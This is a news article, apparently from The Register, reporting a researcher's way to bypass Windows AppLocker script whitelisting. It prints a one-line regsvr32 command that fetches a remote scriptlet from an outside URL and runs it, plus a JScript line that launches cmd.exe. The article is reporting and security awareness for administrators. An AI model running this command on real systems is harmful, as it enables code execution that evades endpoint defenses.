If you’re relying on Microsoft’s AppLocker to lock down your office or school Windows PCs, then you should check this out. A security researcher says he’s found a way to potentially bypass the operating system’s software whitelist and launch arbitrary scripts.
AppLocker lets IT admins managing large networks of machines define which applications and scripts users can and can’t run and install. It was introduced in Windows 7, and the idea is to keep users on the straight and narrow: stop them from launching non-work-related programs, stop them from running malicious programs or malware-launching scripts, or stop them from running programs that will involve lots of support calls.
A security researcher called Casey Smith has found that AppLocker’s script defenses can be potentially bypassed with a pretty simple command. Here’s a sample command demonstrating the technique; it even fits neatly in a tweet, and verified using an El Reg Windows Enterprise system:
regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll
Running this tells Windows to fetch an XML file from the internet, which tells it to run cmd.exe. The magic here is that if you change cmd.exe for any program outside the AppLocker whitelist, bingo: it will start, in theory. regsvr32 is part of the operating system and can be used to register and unregister COM script files with the Windows Registry. /s tells regsvr32 to be silent, /n tells it not to use DllRegisterServer, /i passes an optional parameter (our URL) to DLLinstall, /u means we’re trying to unregister an object, and scrobj.dll is Microsoft’s Script Component Runtime.
“It’s not well documented that regsvr32.exe can accept a URL for a script,” said Smith.
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
Here’s a video of the technique in action:
Now, you have to be logged into the PC as a normal user or guest to pull off this trick, and all it does is get you past AppLocker. Usually, you need admin-rights to bypass the whitelist.
It’s also possible that Windows 10’s Device Guard running with Hyper-V and scripting protection fully switched on will block these attempts. In any case, if you’re relying on AppLocker on your fleet of systems, you may want to try out Smith’s code examples to see if your setup is vulnerable (before someone else does).
“It’s built-in remote code execution without admin rights and which bypasses Windows whitelisting. I’d say it’s pretty bad,” said Alex Ionescu, a Windows and ARM kernel guru.
The trick – Smith didn’t want to call it an exploit – is neat because it does not touch the Registry, does not need administrator rights, can be wrapped up in an encrypted HTTP session, and should leave no trace on disk as it’s a pure to-memory download. No patch exists for this, although regsvr32 can be firewalled off from the internet. Microsoft was not available for immediate comment.
Infosec researcher Kenn White said: “This just made a lot of corporate penetration testers very, very happy.” ®